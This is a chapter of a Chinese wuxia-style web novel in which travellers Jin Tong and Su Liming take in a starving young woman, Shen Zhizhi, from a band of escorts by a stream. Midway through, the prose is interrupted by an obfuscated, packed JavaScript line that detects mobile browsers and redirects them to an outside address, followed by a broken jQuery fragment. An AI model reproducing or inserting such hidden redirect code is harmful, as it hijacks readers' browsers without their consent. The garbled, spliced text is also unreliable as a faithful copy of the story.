灌满水袋，又给马儿喂了些干草，镖师一行就地开始休息。


    队里的年轻少年贴着黑皮汉子坐下，下巴朝马背上的沈知之扬了扬，问道：“头儿，怎么处置？”


    黑皮汉子头扯下一口饼子，干得发韧。打开水袋猛灌一口，清凉的溪水冲破喉间滞涩，黑皮汉子不答，只提醒他：“先吃东西。”


    少年向来为老大马首是瞻，闻言从怀里掏出个饼子，大口咬了下去，嘴里鼓鼓囊囊塞了一团。


    连嚼


    数十下，嘴里的东西也咽不下。鼻中呼出一口气，他挪了下位置，上半身往后倾去，靠着树，目光恰好落在对岸并肩而立的金桐与苏礼明身上。


    他咧嘴一笑：“头儿，那二位一看就不是寻常百姓，我猜啊，是私奔出来的书生小姐。”


    黑皮汉子拧着眉，不赞同道：“别乱说。”


    “说书的都是这么讲的。”少年得了没趣，扁了扁嘴，扭过身去专心和手里的饼作斗争。


    黑皮汉子又咬下一大口饼，用力嚼了几下，眼神在沈知之与金桐之间游走，心中有了盘算。


    那二人看得金桐心底发毛。


    出发之前，她便打听过路况，听闻江南有水患，林间不太平，横空出世一窝山匪，常伪装成镖行，专门劫掠逃难的车马。


    她怀疑自己撞了个正着。


    转念又一想，他们特意研究过山匪行进路线，有意避开，应当不会遇上，也许那只是寻常的镖行。


    只是……


    对于马背上那名女子，金桐很难给出合理的解释说服自己。


    多一事不如少一事，当下最好的选择便是回转至马车，以最快的速度离开此处。


    可她今日若当真置之不理，恐怕日后再难心安。


    天人交战之际，却听苏礼明扬声问对岸：“诸位可需帮忙？”


    金桐本就紧张，苏礼明这一句话几乎令金桐汗毛竖立。


    “我瞧马背上那位小姐，貌似不大好。”苏礼明又道。


    金桐心思飞转，估量着若对方发难，他们该如何脱身。


    溪面不过两丈宽，溪水清且浅。


    莫说一群粗壮汉子，既便是女子，只要不怕沾湿鞋袜，也能轻易渡过。


    此刻苏礼明的佩剑未带在身上，金桐尚不知他功夫深浅。


    即便知道，对面人数众多，他赤手空拳恐怕也难应对。


    金桐心乱如麻，不明白他为何如此。


    身随意动，脚下不自觉往他身旁蹭了两步，下意识地扯住他的袖子。


    苏礼明垂眸看扯住自己的莹白指指尖，唇角不自觉上扬，声音亦染上了他自己都未察觉的温柔：“别怕。”


    金桐本是又些心慌意乱的，听到这两个字，竟奇异地安定了。


    苏礼明从来不是鲁莽无谋之人。


    只听他道：“在下西京苏家长子苏礼明，旁边这位是我妹妹。我兄妹二人随祖父去往别庄避暑，途径此地，专门下车赏玩。我家马车就在不远处，随行备了许多药物，若有需要，我二人可去取来。”


    这一番话听起来平静无波，实则却是连敲带打。


    一是表明身份。苏礼明自称随长辈去别庄。既有大家族的长辈在场，出门必然带足了侍卫奴仆，便是硬碰，对方未必能讨得着好。


    二是暗中警示。西京苏家，听起来实在像是招惹不起的门户。山匪作恶并非百无禁忌，有山匪惊扰贵人车马，不日便被剿灭一空的先例在前，对于京中大户，若非必要，不去招惹。


    山匪不傻，并非谁人都可随意将其蒙骗过去，谎话拆穿，只会落得更惨烈的下场。


    不过，他二人举止气度本就不俗，倒也符合上面那番说辞。


    这倒是金桐想多了。


    对面是不是真正的镖师，苏礼明一眼便知。


    但即便遇到的是正规镖行，也不可不防，因而他有此言论。


    左右苏礼明已将话说开，事已至此，金桐便大胆试探。


    “正如我兄长所言，”她与苏礼明对视过，担忧地望向沈知之，“小姐若有不适，万望不要客气。”


    他二人虽想法不一，却默契十足，一唱一和地施压。


    却是正中对方下怀。


    从遇见他们那一刻起，黑皮汉子便在心底谋划着如何把人甩给他们。


    少年闻言，凑近了道：“头儿，我看不如把人扔过去算了，对面是大家业，总不至于让她饿死。”


    他本是随口一说，却没想黑皮汉子一口答应了。


    “按你说的做。”


    少年没反应过来：“啊？”


    黑皮汉子站起身，往溪边迈了几步，朝苏礼明抱拳，却是冲着金桐喊话：“不瞒小姐，我与马上的姑娘素不相识，见其晕倒在半路，随手相帮。如小姐所见，我们干的是风餐露宿的行当。身上既无药材，也无多余粮水，实在顾不上她。小姐菩萨心肠，若不嫌弃，就收了她在身边使唤。”


    金桐意外，若能将人要来，她自是乐意。


    “若大哥信得过，便将人交与我们。”金桐自觉以恶意揣测人家，心生愧意，连称呼都变了，“不过，使唤却不敢当，对这位小姐，我兄妹二人自当以礼待之。”


    黑皮汉子再次抱拳，郑重道谢。


    他走到马匹旁，拍了拍沈知之肩膀，沈知之依旧没什么反应。


    大部队已经在此处歇了不短时间，他不想再耽搁，索性长臂一展将人抱了下来。


    周围人道：“头儿，咱们绕路过去？”


    “不必。”黑皮汉子答道，径直往对岸走去。


    溪水浸没脚背，又没过膝盖，是刺入骨缝的凉。


    行过半途，他掂了掂怀中之人，便又抬腿，却感觉怀中之人有了动作。


    低头看，沈知之已转醒，正仰着头看他。


    “放我下来。”


    沈知之的眼珠大而黑，仿佛能将人吸进去一般。


    溪水冷，沈知之的眼神却比之更加冰冷。


    那不像是少女的眼神，其中掺杂了太多他看不懂的情绪。


    “放我下来。”


    沈知之又说了一遍，声音低哑，却比之前句更加坚决。


    只一句话便饱含了她翻山越岭的狠意和孤注一掷的决绝。


    黑皮汉子不理会，又继续往对岸走去。沈知之剧烈地挣扎起来，手握成拳锤打着黑皮汉子的胸膛，又喊又叫。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868508|191821||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她本就瘦弱，现在更是虚弱，连叫嚷声都有气无力，拳头更是绵软地好像棉花。


    黑皮汉子置若罔闻，自顾自走向对岸。


    上了岸，他便如沈知之所言，将她放了下来。


    长时间没有行走使沈知之双腿无力，一沾地，她便不受控制地倒向一旁。


    金桐眼疾手快地接住她，发觉她竟轻得仿佛一片羽毛。


    人已送到，黑皮汉子不多逗留，沉默地蹚着水往回去。


    沈知之倚着金桐，良久地看向他的背影。


    “我不会跟你们走，”她无力道，倔强地忍住哭腔，“请给我水和干粮。”


    金桐道：“水和干粮俱在马车上。”


    沈知之道：“我随你们去拿。”


    金桐没有第一时间应答，她与苏礼明对视一眼，见苏礼明微不可察地点头。


    “好。”金桐道。


    沈知之离开她的肩膀，直起身体，回望对岸。


    黑皮汉子尚未离开，并且也正看向她这边。


    她留下深深的一眼，便转身没有留恋地往林中走去。


    恰如苏礼明方才所言，他们的马车停得不远，否则真要担心沈知之的身子能否撑得住。


    金桐上车取了糕点与沈知之。


    沈知之饿急了，三两口将糕点吞下，又解开自己腰间的水袋，将仅存的小半袋水全部饮尽。


    “慢些吃，别急，当心噎到。”金桐说着，又递出一盘糕点。


    沈知之摆摆手，表示已经足够。


    金桐翻出干粮和水袋，又找出周与棠特意用油纸包起来的桂花糖，规整地打好包裹。


    沈知之道了谢，双手去接。


    金桐没有撒手。


    她缓缓抬头，无波古井的眼眸中流露出警惕与不解。


    “别紧张。”金桐道，“马车尚有空余，你真的不同我们一起走吗？”


    沈知之垂下眼睫，抗拒交流。


    她固执答道：“不同路。”


    面对沈知之的冷硬，金桐展现出十足的耐心：“你要去哪里？我们不赶时间，也可送你一程。别担心，我们绝无恶意。”


    沈知之态度松动，却又坚定地拒绝了。


    她早已习惯倚靠自己，她能倚靠的也唯有自己。


    “不必麻烦，多谢你们。”手上用了些力气，沈知之强硬地夺过包裹。


    见沈知之心意已决，金桐便不多说什么，只招呼苏礼明上来。


    他们已经在此地耽误了一阵，是时候继续赶路了。


    临行前，金桐又揭开帘子，递出一个荷包。


    沈知之接过，里面是沉甸甸的银两。


    她手足无措地要归还，金桐将其推了回去。


    “好好收着。”金桐嘱托她，“到了有人烟处，自己去雇车马。”


    马鞭高高扬起，抽打在车辕，马儿听到声响，习惯性地原地跺了几下马蹄。


    车身缓缓驶动了，最终只留下两列深重的车辙印记。


    沈知之遥望相送。


    西京苏家，她记住了。


    苏小姐，有缘还会相见的。


    如果她能活着到西京的话。